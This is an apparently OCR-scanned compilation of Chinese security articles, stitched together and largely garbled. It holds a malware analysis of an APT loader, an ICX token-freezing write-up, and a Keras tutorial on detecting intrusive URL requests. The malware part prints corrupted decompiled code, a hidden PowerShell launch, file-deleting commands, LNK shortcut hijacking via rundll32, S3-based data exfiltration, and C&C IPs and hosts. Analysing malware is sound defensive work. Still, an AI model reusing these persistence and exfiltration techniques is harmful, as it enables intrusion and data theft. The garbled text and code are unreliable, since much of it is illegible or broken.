DlISetClassObject # BAT FIA B TF&M LNK 3244

DllUnsetClassObject IR LNK 3744

DllCopyClassObject #% BAT BIZASEARATEN LNK 3HEIIRRTBERT

DIIEntryPoint DIl AE

551, ps_start hEEEMZ DLL IS HEEL DlRegister, SE{JIXIMAT ps_loader

BRI, BRENE o215 ps_loader 11Z5{R1F /8 beoql.g.ini, Z 5 DIIEntry #1 fun_Callinstall :
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fun Decryptstr

vi?7

fk

fun Writefilefor(&vu21);

ff wb

ir ( U211 )
{
uig

&dword_6B8F5890;

if ( (unsigned int)dword_6B8FS58A4 >= 8 )
LOBYTE(v18) = dword_6B8F5898;

sub_6B8DC2F8((char)vig, 2, dword_6BBF58A0, v21);

u17 = sub_6BSDBF1E(u0);

H

D11lEntry(uvi7z,

vi);
LOBYTE(v3) = fun_Callinstall();

return {unsigned int)u3;

H

beoql.g.ini I1Z{RFAY PowerShell a0 FF7=:

ginv  maEEE- 2R R
e e . [ b
&5 TE L beoglyg 2018/4/16 10:56 G 150 KB
=aE &) beoglgini 2018/4/28 18:00  [EWSE 9 KB
185 WinHex - [beoglgini]
8 550 _aso_xmo S _sav IAD SLTAD S%0 eow Wew

mezm DI Qafy - DOGEBR  RASLY 4 szomp

L WD) beoql.g.im!
Offset [ 0 1 2°'3 4 5 ¢ T 8 9 A B C D E P -
00000000 '3 16 4326 7B 00 BB Q01 CB 1F €2 02 21 11 40 01 [ ce{ « E, 1 @
00000010 |BE 00 7B 02 5D 16 F3 25 29 00 8B 01 83 1F 78 02 x4 { ) 689 « §f x =
00000020 |17 11 3C 01 BD 00 74 02 S5F 16 F3 25 39 00 79 01 <H T _ &89y ]
00000030 DL 1F 73 02 CE 10 32 01 CO 00 51 02 22 161426 Asizag" &
00000040 |53 00 48 01 A4 1F 6% 02 25 11 1A 01 89 00 50 02 S HuE ik % P
00000050 |38 16 3E 26 4D 00 76 01 DA 1F 52 02 23 11 19 01 |8 >sM v G R &
Q0000060 (9C 00 50 02 32 16 36 26 83 00 S6 01 D4 1F 51 02 a P2 6af VE ¢
00000070 |F2 10 3F 01 %A 00 58 02 32 16 14 26 7B 00 55 01 | &4 2 A X 2 &( ©
00000080 |A6 1F 61 D2 EF 10 SC 01 CO 00 50 02 61 16 14 26| | a1 <A Fa &
Q0000050 |54 00 87 01 A4 IF SA 02 EF 10 1A Q1 BD OO S0 02 T ¢ m Z i F
O00000RO |34 16 14 26 4D 00 64 01 B4 1F 51 02 15 11 19 01 4 &H d " §
000000BO | 9F 00 82 02 32 16 28 26 83 00 56 01 98 1F 51 02 ¥, 2 (sF V - g
Q00000C0 |F6 10 25 01 SA 00 73 02 32 16 15 26 7TE 00 55 01 | 6 ¥ 3 a2 &x U
000000DO AR 1F 40 02 EF 10 24 01 CO 00 51 02 46 16 14 26 * @1 S A QF &

DIEntry #EAETEIL CMD e SHBREXRIE LR 2B M

ErTLastrrITg )
e
w7 = Fun_Decryptsbr{L nnud B fod /z\ REHIVENY
Fun_Execcmdl(const unsigned _ int1h =Julh:

v = Fun_DeCryptste(L w2 SR .

Fun_Execcmdt(const unsignod _Lnt1h =)edds

int1

Fun_Exectmd{(const unsbgned 6 syui};

fun_Execomdt{const unsigned  nt16 sjetds

i = fan_Decryptsteil mus/B/os/r REHVELL

w5 = fun_DecryptsEr{L naud /B /03 F 2 REHIVINY

SANSypurd ferreite IV Truptioc WFYB Koor L\ Fybsgnjen.ngny=| b A0 del S5 F /g “RTEMPRA. vApplication DataikingssFry

Sndypurd ferseje |V TPvpbroc WYX Eoor LnNAFybucrab.ognyT T4 RL fs JF g TRTENFRL, SAdpplication RatsiRingserty

Shdygurd fersonfe e

A4 el 45 AF fa RTERRL. Application D

A\ dgyurd | e

DAY ded Ju SF fq “RTEMPRA . Adpplication b.

un_pecryptstriL” 3
Fun_Execemd{(const unsignod n.na wyeid;

nga\"|"Y3AY del Js JF fn URLOCALAPFOATATARInGSOFU\WRS DFFiceww

1l:L
|unn L

i = Fun_Decryptstril
Fun_Execcad({const unsigned

_Execordl (ons un\lquru int1e sjemz
Wb - fun L

S gl g5 A0 S TRLOCALAPFORTREARANGRoR DWRE 0FFiceve

Fun_Deeryptane (L mnmus /85 fod 2y ‘uﬂ Jluwh.lt_ll\\lr-ph:u\\ln)!nnrln\\utln,(.\-y BgI\ =154 drl s A0 Sq CTUBEALAFFOATATAK ngsod LNWPS 01 Fies\u

Fuin_Execiodt (connt unsdgned _ AntYs <Jevds
sub_6EEDIZAN]}
ErtlaretiliskTime(}s
=18 = fun_Becryptete (Lo jreeee )
BObject = Creatematesd(l, l. urruuu:»ul.
§F { GerLastireart) == 183

retern Gl u4-4:-(m]-“}.
CethosnleElickTine();
BF { teword SURFENZE )

‘
GetCursor():
Fun_Brergpbate (L ak]~)

ZfaiE1d CreateProcess i

£ maininit

ngIA "< 34 Pl fa fF Sq UILOCALAFPOATAT\KLNGSOST\UFS OFFice\w

BREISEN ps_loader BN
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BH =25 - rundll32.exe - [LCG - T8 @58 - beoql]
[0 wr EBY) WRO) WEE) BNT) BOW) WEBH) (-] GER® Toolks BreakPoint: B | P | VB | Notead | calc | Folder oo| om

Clegx] v ] SIS AU ]+ Lefm|tjwb]c]Plkiblc]../s] =I5 2] JJJ'L‘JEI@JEE;.

UNICODE
UNHICDDE

2 slmrt npnql -6BED1600
beoql .6BBF18FB
|l:al]. ben:{l GEBD1198

**povershell -w hiddej

|can1 Iu-nql 6BED2OF D
|n al,
,nmr beoql.6B8D1636

SBRD60F
GBBD1
GBBD1617
GRBD1619
GBED161A
GBED161C

(FFFFFFFF)
B(FFFFFFFF)
7FFOF DOO({FFF)

0000 HULL

LastErr

S, HS PO ,GE,G)

Hnll lﬁhlrﬂanp = HULL

ABaaaaae
appoonsn

CreationFlag
pEnvironment
urrent

(LT

ao

aanGF ARRGF
BOB6F CULTTE R

fun_Callinstall PEZHXINMAIINZZR, FRrEE/08T Rundli32.exe RS HEREL

LT
_mRA_ 5tnre1 vpjﬁh((
I .

“}eu18, _mm_loadl_epi6d((const mi281 =)u2 + 1))

sub f.asmz:?n((.
= ,( .u:|| )

- _nm_luadl_epiﬁht(uun_
#{( _DUWORD #)uk + B) =
4).; +5) =
*( D s)ul = B3
_nn_storel_epiod({

_mn_storel_epi6s((
sub_6B8D2OFO({int)]]
vzl o= BOB6HTTIOTZi6N;

{0 »)1pConmandLine = v
LOWORD(u19) = 8
_mn_storel_epiéd((
sub_6BED2OFO((int)&u19);
sub_6BED2OFB({int)&u17);
LOBYTE(v23) = B;
sub_ 688920Fu(( 1
Wo.ch = 683
suh 6BSD?1FI](&
rtupinFol (&S

“Y&u22, _mm_loadl_epi6h(({const n1281 =)Buil));

.IPRQSQFUEﬂ B, 64);

HIDWUHO("'J )

BYTE&(u1h) = 8;
sub_6BEDICAB{(int)lplon

»

else

indLine, v22, SHIDWORD(u1h), B);

LODWORD(u22) = w22 « 13

1 [91; |
=} {(char * u6) = B3
y
uB = (WCHAR =)1f :
if ¢ HIDMORD{uZ2) >= s 3
~ uB = IpComnandLine[];
if ( Creat . §, 8, 8, 8, GxB000000u, O, O, &Startupinfo, &Pr InFormation) )

Dllinstall:
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BRI TAR:

B SmEE - rundii32exe - [LCG - EHE 815 - beogl]

Iim ﬂ-.::ror ‘l‘t[P] E—L:-"n

ECLWI

e, beoql . 6BEF18F
l")l‘.l. beogl

-GHED1190

cous 8F 00 nov byte ptr ss:[el

EE BY M short hEnql GBED2367
i nov byte |||| ;:

#8040 DB lea

E8 81FDFFFF

BUD Fi
JOD DRDDDDI

aenaon

BRBGFCIC

ASE| 0O
AGE | 00
4] ’l lIII

Dllinstall BREE SoiEH

- F-m Du-wtsl (L
Fun_Findink(

Fun_Findlnk{y

= Fun_Decryptste (L SSvWHICSEY
St 5

Fun_FindLnk{
= Fun_Decryptstedl

= Fun_bocrypt
Fun_Findink(ut,
= Fun_Dec

ndE by

w1l = Fun_Decrypts uu

Fun_Findink(ui

= Fun_bec
ke
+ = Fun_Decryp

return Fun_Findink{v

Enp

ZIR&ERE nview32 update.bat A, FiE

ogpeaon
(111

vooo000e|

PB00BDOD

BoDooDoR|

LLLDLT

. B

Yol &

A

. B

o B

ModuleFi

£ =10k

24 = ik

44 = Ink

24 = lnk

U, Ox3FFu);
/4 =.dnk

p-ix71],

IH."(HI . b‘dﬁﬂ Tools

leHame = HULL

nd 1

CRERTE

HULL

IHEA\HRbECxy | ") ;47 “RUSERPROF ILER\Desktop
L, OxdFFu);

IIR\\\:H\NIM AUSTEZ ") /¢ RTUSERPROFILETAR
L, Ox3FFu);

axbxocy\Ruenawme» Hgyuxanai \2dr Lt jduln |
Ty BxIFFu);

BreakPoint-

HO_WINDOW

ZPEFRTHI LNK 34

enpty
enpty
enpty
enpty

oo3s
aoon

n.n
0.0
0.0
0.8

B{FFFFFFFF)

B(FFFFFFFF

]

WFFFFFFFF)

B(FFFFFFFF

HULL

HO_M
+HB HE A, H

PO,GE,G)

1Install™

Y3/ TAPPDATATAMicrosoFtyinternet ExploreryQuick Launch

AT L EL TR TN PRI

SN

SZRFAURAFAVORRGH| ™) 37/ “LALLUSERSPROF ILESY

N—y—
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SN L asboea e\ \F o P\ Be faco Unied | ) 3 /¢ TAPPOATASA M crosoftyWing
5 t, WIFFu) 3

HADYARORUNEN \JyyMic AR fursp AU Laxboc \\Fruns P\ Be jac rWned [ ) 3 //

Vi// “RUSERPROFILER\

5103/ F "RUSERFROFILEEY

% |P|JN'3.\\\u 200G S FOMSIChA U B UHIdC\ uB 355 ] ) ;4 TRALLUSE
o

17

LALLUSERSPEDF ILEL\ApphatatRoaning\Hicey

OF ILESY

s\SEart Henu

softiiindes
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- u:n Dr:ruDls\r(l wernd ﬂunlrn KIEI™3S 2/ pwlewd2_update.tat
1

e

Fun_iwitefibefor(Guni);
1F [ ube }

wh - prevetf 1% A= ANdygerd fereue e A TFepizac \\FRIZXo0r 10\ fgbignien g | 3544 “TRTEFEIL. AAppl Leatbon Datar\ELngsaf t\RS OFFles\upsupdate  eue|
su aauwm: 6, {intjus 0

Fum_Decryptatr){=nnih /3 /63 e\ ELEMVERA . A\Jypurd forxu e AV TPvphxoc\\ P oar Lo\ fgbuccrah .agnA™\A [} 7 el /5 /4 /q “RRTEIRRA. \application DatavKingsoftyWPS oFficey
CunD, CintIT, wSRY:

4% < ANggur T orxe i AL Trephxoc \AFYEXK00r LoV RRBTCKYCr . ngay T wn [ThA Tael S5 FF Fq TRRTENPIRL. Application Data\KingsoFt\Ws OFFice)

..unueu»\ TRERITEIAN ANy L ermi e A Trapbxoc Vi

Inthdgngen

oL AGENNE NI el A% S FQ CRRTEMPILL. \dpplication Data\Ringsoft\WE 0FFice

del Ju FF g TERLOEAL i WS OEFL TRy

44 Uwel Fs fF g RRLIEAL KingsaFUAMPT OFF e

" a;nuu:/:;\ L SISV YIIESEEAN Truptiee\ P VIS N0k In\\mbtexgery mgnd a3 300 “0eL /5 /F /iy “TILOCALAPPOATAEIAKENGSOl C\MPE OFFicevdeshtoptip. exe

sun _SHBDRANBLuAD, (int)
= fun or:ruv!s\rlt muun){n)n)\ TERUSLIUIVHIE SRR Fripbnec\ \F VIO oo SBOINTNE| "I EAF TAEL 5 /1 /G TERLOCALAPFORTATENKINGSOI TS DF Flcenipdatesels cexe
it

. LPBOOL ) YW dethar fokalt iiyte 3

1t
0RD =)IpHen: (LPU!

“(uia = 2aE

D« JRUSH = s
w19 = Fum_ :»gpv.ut("..nunn m.\nr': TR TR TR
“EDN‘M“\ e, (in

nview32_update.bat FIAHITESIGUFMIER WPS BUEXAN, ZEXIRIEIEHIRE
B9 LNK ST TIE ST E -

N Y

BSoBIT RS HERE DllCopyClassObject 1% LNK SZ{44£MNE

X

£ DlISetClassObject &2 %temp% BRTHI LNK 314, &RIEHIESUTAY LNK 32N BE
[El:
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DlISetClassObject Fi@iFERZEL fun_ Changelnk {&22ERIARY LNK 3244

while ( v% < uB );
if (vé )
{ .
fun_Generalrund32D1lstr{(int)&uis);
vz = B;
vi1 = (unsigned __ int8)fun_Changelnk({ut) t= B;
vzeg = 1;
GetClipboardSequenceNumber{);
if ( v17 )
{
ui2 = =u17;
vig = vi7;
(=(void (_ stdcall ==)}{_ DWORD =)})(uv12 + 8))(u17);

H
if ( vi6 )
{
vid = #y16;
vi8 = vi6;
(#(void (_ stdcall ==){_DWORD =)){uvi3 + B)){uvi6);
e
CoUninitialize();
result = vii;
H

else

{
_ABEL_25:
result = 8;
H
return result;
b

1Z220IRY LNK SXHLAZ NS5 E]

¥

while { v21 );

Fun_dJdoinunicode{&uy1, 1024, vig + ({unsigned int)({(signed int)u2d + -uv3E - 12302) >> 1) > @ 7 12300 : 10252));
w22 = Fun_Decryptstr(L"1?|”);

Ffun_dJdoinunicode{Bubi, 1024, (int)uzz);

Fun_Jdoinunicode{&uil, 1024, v38 + 16460);

uZd = Fun_Decryptstr(L"tt]");

Fun_Joinunicode(Buil1, 1028, (int)uzd);

Fun_Joinunicode(Bull, 1024, vig + 144812);
w2k = Fun_Decryptstr(L"??]");
Ffun_dJoinunicode(Bul1, 1024, (int)uza);

w25 = fun_Decryptstr{L"adwnuu2i.ngn|"}); £/ rund2dll.exe

BIRERINTT AR, LNK BREESZSEBIES9EE Rundll32.exe &A% DLL AY
DIIEntry BREL, X ERERYEEINREINRI AT IE{TXIRAY ps_loader JIA, i@idANHF LNK

RSS2 ARIER -
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Bl wandbg.exe - RIS BiE

®iR | SR (wEe [ we

®

HEEE | RIS

windbg. axe ~ {RIESE,

R

systei?

m

ghrindbg axal 1110 Vool windbgl |

EAEEEE): O Windoes\systeal2
X
ol
TP URME) V) EEI(H)

C:\R

indows\system3Z\rundl 132, exe "

AR

E—
b

Spear phishing rar file

B3]

Ci\Users\zht\Desktop\beoql\beogl. g”, D11Entry Ci\tool\windbg'windbg. exe!!iiC:)

\tool \windbg! !l

BRI AR
a>

uploader victim info by
AWS S3 procotol

download

Go—13]

ps_backdoor

2]

call DllEntry func to
loader ps_loader

LNK

System shortcut

A
Ink file ps_origin ps_start ps_loader
luse ps_loader as args 3.call DlEntry func to
to call DliRegister func loader ps_loader
\/
beoqglg
bat file call DiISetClassObject 4 call Dllinstall func to 2.encrypt ps_loader
and other three funcs to create bat file and file and save as ini
change the System shortcut execute
nview32_update bat beogql.gini

S IME TS
1.BGERTE]

135



,z!ﬁt-{o‘;“. —_

Zr T
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HRIE 360 MR AR RIS METRFESRT, WINEEERNR N =IRS 32 (F
15253819 0123 #105011) RUIBIRIDBISEHTE 4 AR5 B, XTI TBREIA0E AR AR
e, UHMEREELE APT BREXENARERR SGHEARIRE S TUH T 7 REFR
MERYIR S -

2. EHXIR

HFEEEASIEHENN A EIEET Amazon S3 =FMEMY HERIREE N =IRSES
&, 360 EEMEIRFOEIEXS AWS S3 IRSFSBENHIRRNENT, SEFADTISEIRIEEE
RIB(SINREER D W& W R~ aEdE, HEPaRIENRITTETE. %
WHREFHER. #EERMX—RINERNMERTZEARNEEW LIERIRSSE, BRIE
mEHEHERIEARSEERR.
ISLA

BAMBSIRIELFL A A EE R EEER, BEMNERAZREEBAIM blog. twitter
FRFREFREFRER. NMRSHFILUEL, REESFLSENRERE)]. B 5EARIE
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REMFFRIRMBRIERAIRE. . o, K. RIRF—FRIIRATHITERAITHETR
AR, ZREREETRIMBIRAVEN. D, WAL, FREFXERILEEE

BHal, £7F 360 BAMERPORIRIMEREIEN £ 4™ m, 815 360 BAMEIRFE (TIP).
RIRSREEMENESE. 360 NGSOC ZF, EELSZFXIIL APT IR ERIRISERTE
pUGNLES S SILG NG
10C

c&CIP

159.65.127.93

139.59.238.1

138.197.142.236

WEE =ARSS ik
0123.nyc3.digitaloceanspaces.com

05011.nyc3.digitaloceanspaces.com
2%
[1].https://github.com/minio/minio-py
[2].https://docs.minio.io/docs/python-client-quickstart-guide
[3].https://docs.aws.amazon.com/zh _cn/AmazonS3/latest/dev/Introduction.html
[4].https://docs.aws.amazon.com/zh _cn/AmazonS3/latest/API/sig-v4-authenticat
ing-requests.html
[5].https://developers.digitalocean.com/documentation/spaces/#authentication
[6].http://developer.huawei.com/ict/cn/doc/Object Storage Service APl zh p/zh

-cn_topic 0016616545.html

137


https://github.com/minio/minio-py
https://docs.minio.io/docs/python-client-quickstart-guide
https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/dev/Introduction.html
https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/API/sig-v4-authenticating-requests.html
https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/API/sig-v4-authenticating-requests.html
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IMERB R RILAKIG S FEMH

1FE . FREI@EEX

[F3RE: [1EERMR] https://mp.weixin.qg.com/s/YPS7ZY6KGDYWZypjQrMpAw
SRPE—NAKFRE S, ZRAPFItEIHIRE ML,
HSFALA:

668a369e87c01da5bfca9851e6ee86d760e17ee7912d77b7dffe8e0cdf63bcb5,
idit: OxA8015DF1F65E1f53D491dC1ED35013031AD25034

i%ﬁ]ﬁ'_&%gﬁz@%}ﬁ, 7E etherscan.io HEXEER

HBPBHE 320382 £/ ICX, BIRBREA, LAGHMESAREES.
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DorWdd D sse

BA™ ¥ 2081671.57

é ETH ) 0
& MANA B
O BMC 0.000009
4 XNN ;
g icx 75001.0000
3 = ¥ 2081671.57
& KeT 1.0000
® i Q R
a7 it =0 .

A IREEHR 1CX i,

REZHEM
Error: Insufficient funds. The account

you tried to send transaction from
does not have enough funds. Required

480000000000000 and got:
150000000000.

OK

R (452
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HIK SRR FERERALE, BRZTRY, BMEERRR ETH B! FR5wik
FREAPERRN ETH S5#46E, B8BTS T, XEHRANNT (WKEH
BAR) .

MEEEMERIZIE tx ERSERMEER:

1. ¥NBSEF0E HRTEERAFE R

2, HHETMEELNESTR 1%E6

F—RAMERER, TEREEREEMATN, BN ERFTERXRPES
IZMIRIEENR S, EENM AN L8 HRT ETH;

FR, e HESFERER/, AT ABRXEN? BEMRRZIIR, RIS KDEE
HIIEAR IE—1, SIRRBAENXEES—E, NIRRT ETH 8, FILIEF
ZHRESRE, BNEITERESE 99% £a, EUKBRESS, § IS T8FEEn

2

OK! ZXEHIFATEEA AR, HINREESHNFERETRMAEEEERER ICX Token
AT TID? MERNIEE—F ICX BEELREE. S4HBHHE:
https://etherscan.io/address/0xb5a5f22694352¢15b00323844ad545abb2b11028#co
de

HAREBE LTI SRR
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187 function transfer( address to, uint value)
188 isTokenIransfer
190 - returns (bool success) {
191
192 require( _balances[msg.sender] >= value );
193
194 _balances[msg.sender] = _balances[msg.sender].sub(value);
195 _balances[to] = _balances[to].add(value);
196 Transfer( msg.sender, to, value );
197 return true;
198 }
199
200 function transferFrom( address from, address to, uint value)
201 isTokenTransfer
) Coec)
203 ~ returns (bool success) {
204 // if you don't have enough balance, throw
205 require( _balances[from] >= value );
206 // if you don't have approval, throw
207 require( _approvals[from][msg.sender] >= value );
208 // transfer and return true
209 _approvals[from][msg.sender] = _approvals[from][msg.sender].sub(value);
210 _balances[from] = _balances[from].sub(value);
211 _balances[to] = _balances[to].add(value);
212 Transfer( from, to, value );
213 return true; 1BV
214 } ]
SRIIX N REERT &~ “checkLock” modifier, A{|JBREE "“checkLock” Bt
4.
62 - modifier checklLock {
63 - if (lockaddress[msg.sender]) {
, 64 throw;
65 }
66 s
67 }

XTUTRABHEF Nzt E /4T lockaddrss H, 11RE lockaddrss #Rl throw,
FHUTEWKERE, BRIIEEEXNNEEEHIERERTE lockaddress & (/9 lockaddress
73 public 28!, FFLARTLIEESA) .
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C & £ htps//www.myetherwallet.com/#c *

Access

Read / Write Contract

Oxb5a5f22694352c¢15b00323844ad545abb2b11028

lockaddress ~

[
BxABD15DF1F65E1F5304914C1ED35013031AD25034 ‘

L

o

E70EE), BefiIFerinIs b TIERT, FrAsIERIA B HRY ICX Token
BiE, BHEREFAR, LIKER ERC20 Token KFEHAZRTEEMIhEETFEZR, By
54¥E ETH,

LESBREEXTZ ETH $9GEI—rotT, HARSE!
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IEEREETA

BIMEERNAERNE, TEXKREESTE, BEMTE], B—REe 555N
R L PHLEAEIREIEE. FBAE Google, k. W3C, AXREB. Bifl. MR, BE
EHHidReae), FASTAREEHNT Black Hat F2EREEAS, BERERZD
BENBRE: REFE. HHEE. WTEENERER. BERNCENERERIZM. &
8. ERENFNTZeRITSHERE, ABEIREIt TEEXEREBERS %, FE88E
(S/NSINESE G E D S T

BERKEM: https://www.slowmist.com/

LI A E N ERKERNEFARIEERRARS "4, —EXnFS
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[Z2£iA5R]

HREERLETEBEAST_ERIR

{£%&: noone
[R3ER: [MERE] https://mp.weixin.qq.com/s/IPfYX6ellh TSNwHhYgu4PA
RS

jupyter (1.0.0)
numpy (1.12.1)
keras (2.1.3)
tensorflow (1.3.0)
hyperopt (0.1)

ML

XEEATEE I, BRI ERENEI—LERTE,

i NTEEEM, BBERA keras MAERIEN, TR, XEENE GPU ERIAIR
7. FLNRBRISIESY, FEGEA CPU, HEEERANME RIS, WT:

import numpy as np
import tensorflow as tf
import random as rn

# The below is necessary in Python 3.2.3 onwards to

# have reproducible behavior for certain hash-based operations.

# See these references for further details:

# https://docs.python.org/3.4/using/cmdline.html#envvar-PYTHONHASHSEED
# https://github.com/keras-team/keras/issues/2280#issuecomment-306959926

import os
os.environ['PYTHONHASHSEED'] = '0'

# The below is necessary for starting Numpy generated random numbers
# in a well-defined initial state.

np.random.seed(42)
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# The below is necessary for starting core Python generated random numbers
# in a well-defined state.

rn.seed(12345)

# Force TensorFlow to use single thread.

# Multiple threads are a potential source of

# non-reproducible results.

# For further details, see:
https://stackoverflow.com/questions/42022950/which-seeds-have-to-be-set-where-
to-realize-100-reproducibility-of-training-res

session_conf = tf.ConfigProto(intra_op_parallelism_threads=1,
inter op_parallelism_threads=1)

from keras import backend as K

# The below tf.set random seed() will make random number generation
# in the TensorFlow backend have a well-defined initial state.

# For further details, see:
https://www.tensorflow.org/api_docs/python/tf/set random seed

tf.set random seed(1234)

sess = tf.Session(graph=tf.get default graph(), config=session_conf)
K.set_session(sess)

# Rest of code follows ...

D:\Users\pengxu.jiang\AppData\Local\Continuum\Anaconda3\lib\site-packages\h5p
y\__init_.py:36: FutureWarning: Conversion of the second argument of issubdtype
from “float’ to ‘np.floating is deprecated. In future, it will be treated as ‘np.float64 ==
np.dtype(float).type".

from . conv import register converters as register_converters
Using TensorFlow backend.

e —IEEES
HAMRANEIR. TN —H "BRERE" RIRELC
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def target_function(x):
return 2 * x - 1

FRILCEREE R — 8RR, FHLE(TH RS
%matplotlib inline
import matplotlib.pyplot as plt

x = np.arange(0, 1, 0.1)

y = target_function(x)

# NONE=

noise = 0.2 * np.random.normal(size=y.shape)
y += noise

plt.plot(x, y, ".")
plt.legend(['data-points'])

100
#« data-points
0.75 1
0.50 - = T
0.25 1
0.00 -
—0.25 1 -
—0.50 1 .

=0.75 1

I}IEI I}IE I}I4 I}IE I}IE
BiF: #E—1EY, HESEETIFIRERES.
MIRE, BEERRSOEMAS, TGEHIESROREL. FII0 RelU H4,
B AR

def relu(x):
return x if x > 0 else O

t = np.arange(-1, 1, 0.1)

plt.plot(t, [relu( ) for _in t])
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plt.legend(['ReLU'])

— RelU
0.5 1

0.6 -

0.4

0.2 1

0.0 -

100 -0.75 —050 —025 000 025 050 075

BAEER, BEYENEMEES, BEIYRRE f(x)=3iwiReLU(aix+bi)+B FEISE wi |

ai . bi 1 B pYE, FAIHLATLUELXHFRIRE ) | EEFIAMERIHAR:
def get fit function(x, y):

"""Returns a function that perfectly fits the data-points

(o)

n_data = len(x)

# ITES¥ w, a, b, B BYE
B = y[0]
w,a, b=(I1
foriin range(n_data-1):
w i = (y[i+1] - y[i] ) / (x[i+1] - x[i]) - sum(w)
ai=1
b i=-x[i]
w.append(w_i)
a.append(a i)
b.append(b i)

def f(x):
"""To be returned."""
return B + sum(wl[i] * relu(a[i] * x + b[i])
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foriin range(n_data-1))
return f

f = get_fit_function(x, y)

plt.plot(x, y, ".")

plt.plot(x, [f() for inx], '--")
plt.legend(['data-points’, 'fit-function'])

100
data-points
0.75 1 fit-function
050 1
025 1
0.00
—0.25 1
—0.50 1

—0.75 1

0.0 0.2 0.4 0.6 0.8

XFE LA S IEEREEEURAMERIRFR A "universality”, BAESiEEMEZMEIEREIX
FRIT EIERREL (F1a0 RelU) NEMAES , 3R15 7T RAEEERREEEYERISES [Cybenko,
1989], (SEFrL, get fit function IERIREIT— "EEREY RelU HREEMEN
® )

R ARG

BR, RIEXEFRBENHRERNN: BEENSHIEIENEIEENSMERREN, FE
HEHSRHETT (RNESREEL, FIa0 RelU) , FRBRERDZESRAFUSER. HIaNERA]
pIsCie, HE 10 NMUES, EIIAT 9 1 RelU R#, AWIETHEREIES.

A RTINS I REREELE, NETERR, ERAREDIIHETIE?

BER—TE Rk 8N T ARG EM—LRALE, BES T RARKEZE,
HAVER T WS EREERAE. B, BTSSRV ERNHETRIANIPAERIIR
£, w10 . 90 . h() F=F, elIfF&ivkEtRTIA. BREIEGER, MMl —F
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“RUKEE" BN x SSHEREL h() AR, REEIBES 90 |, o) BRE—T, BitEEs
f) . SEEh, AMIRI, XMREHSERTLICKHRE D ETRIIHE TR M. (BREEIR

. BEBRAERE (BREEY) Tl—MMES, FRBANERESEE T — R,

T, AMIZABERAAIOL [Tegmark, 2017], ) FEAENEHEXE, BEBRANES
AN

|

RERTR— I AES.

BE

EZIFAINPIELLE F3R, FARTRE T —MNRE (RIRERENLE) |, ILMASHT
BHIEERES, 1IDEXSSAENBIREE target function() KA, FEE—LIRRE, R
1R EMERIREIX A BREREL, BBAZAISIERIRE f MABERIEEN:
plt.plot(x, y, ".")

plt.plot(x, [f( ) for _inx], '--"
plt.plot(x, [target function( ) for _in x], -
plt.legend(['data-points’, 'fit-function’, 'target-function'])

100
data-points 5
0.75 4 fit-function /
— farget-function ) . f
0.50 - 4 / ‘
0.25 - /
0.00 - -
—-0.25 - /
—0.50 /
—0.75 - Y o
[ ] "-’- >
-1.00 - >
0.0 0.2 0.4 0.6 0.8

HANDERIPIGREL f "RIARENITR" | UETEHIRERRIESE "F

FRT" . X

"EHIIE" (over-fitting) . FERISIUSHIRIGZEEMBN: REFUSHRER "Rik6EN"

(capacity) . IEDFREMEIPEEITTI N, BEAMIRE TIISRERY "RiERE
T Ol "ERE" KIREE, UETLERAFNNVBRRE (MRETREAS

150

" . {E



L2%=-2018 FHT-55 2 #8

FHAEFRIEBRANE) . FILABANESRS "PEIE" | SHEIGRIAMETRINE, (55
RIERDIFR "RIXREN" , MAZETIMEG. X#E "FE" BHISEE (WEX) .
IR

XEBFNEMRhSTI — N EENRE, SESETUEE, SERERE. BE. .
PRTYHIRFERCES, ®THUBEETERETR. FILIESHE.

UETALIE

FATEFTIME 7 —LIEFIEK, f1—L SQL JEAIEK, 5E @I MN ICEE iR,
D EXLEREFERT,

tegh, W EtRE—EFRRREEE, ATAERMEDIZ. thaiX4, ERRstEFERIRGIEKEE
A, ENERBREPIIFEEAZL (AERRETEMR) . AR AENEREER
JIGEEE. MEZRPRERBIKRNR, XEREE)IGHIRESERENIRAER, Bl
G EEFRIESIERESLHALER.

BNEEMBUFHIEREE, SIERFAHEIIR, XEBENEEE URL-RS, FHEmK

INEFH:
import pickle

with open('dat/intrusive requests.pkl’, 'rb’) as f:
intrusive_requests = pickle.load(f)

with open(‘dat/normal requests.pkl’, 'rb’) as f:
normal_requests = pickle.load(f)

print(len(intrusive_requests), '"WHiFX")
print(len(normal_requests), 'TEEiEK."

100000 ILEHIEK
178125 IEEEK.

BEAREARNKRIE, BEKRSRIE. N7 RIRTHES, 10 B NFSSEEAHREIEL 1024

AN

np.random.shuffle(intrusive requests)
np.random.shuffle(normal requests)
intrusive_requests = intrusive requests[:1024]
normal_requests = normal_requests[:1024]
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REFBMAITFYIR, MARBEKRNFAER, FURNIESFARERSFIIR. B
BBENRRIBRIARTS (BRT TRI%) 107, NEEEl, IXETIE asci FR0EF. 7
B, $%& "--" XTERHRS NAIBRAASHRIITIRRET, LIREIpm -

import re

def request to_sequence(request):
"""Split request into "words" by punctuations (excluding " "),
while:
* drop non-ascii characters;
* replace "../" by "\sdian_dian_gang\s";
* replace "./" by "\sdian_gang\s";
* replace "--" by "\sgang _gang\s";
* drop all words in the sequence that contain digit.

Args:
s: String that contains punctuations.

Returns:
List of strings.

# Drop non-ascii
s = "join(c for c in request if ord(c)<128)

# Replacements

s = s.replace('./', ' dian_gang ')

s = s.replace('../", ' dian_dian_gang ')
s = s.replace('--', ' gang_gang )

# Split by punctuations
splited = re.findall(r"[\w]+|[*\w]", s)

# Drop numbers. In fact, all that contains digit
pattern_digits = re.compile('\d")
splited = [ for _in splited if not pattern_digits.search( )]

return splited
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intrusive_sequences = [request to sequence( ) for _in intrusive requests]
normal_sequences = [request to sequence( ) for _in normal _requests]

SRR IS, B NEEEEKRPRE NAYEMA .

def get vocabulary(sequences):
"""Build the vocabulary by distinct words from sequences ‘sequences’,
sorted by their frequencies in ‘sequences’, descendingly. The first
word in the vocabulary shall be " <unknown>", for labeling any word
being absent in the vocabulary.

Args:
sequences: List of strings.

Returns:
List of distinct strings.

sorted distinct words = get sorted distinct words(sequences)

if '<unknown>"in sorted distinct words:
raise ValueError('Label "<unknown>" has been a specific word.")

vocabulary = ['<unknown>"]
vocabulary += sorted distinct words
return vocabulary

def get_sorted distinct words(sequences):
"""Get distinct words from sequences ‘sequences’; and sort them
by their frequencies in "sequences’, descendingly.

Args:
sequences: List of strings.

Returns:
List of distinct strings.

all_ words = [word for seq in sequences for word in seq]
distinct words = list(set(all words))
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# Sort words by their by frequencies
word count = {}
for word in all words:
if word in word_count:
word _count[word] += 1
else:
word _count[word] = 1
sorted distinct words = sorted(
distinct words,
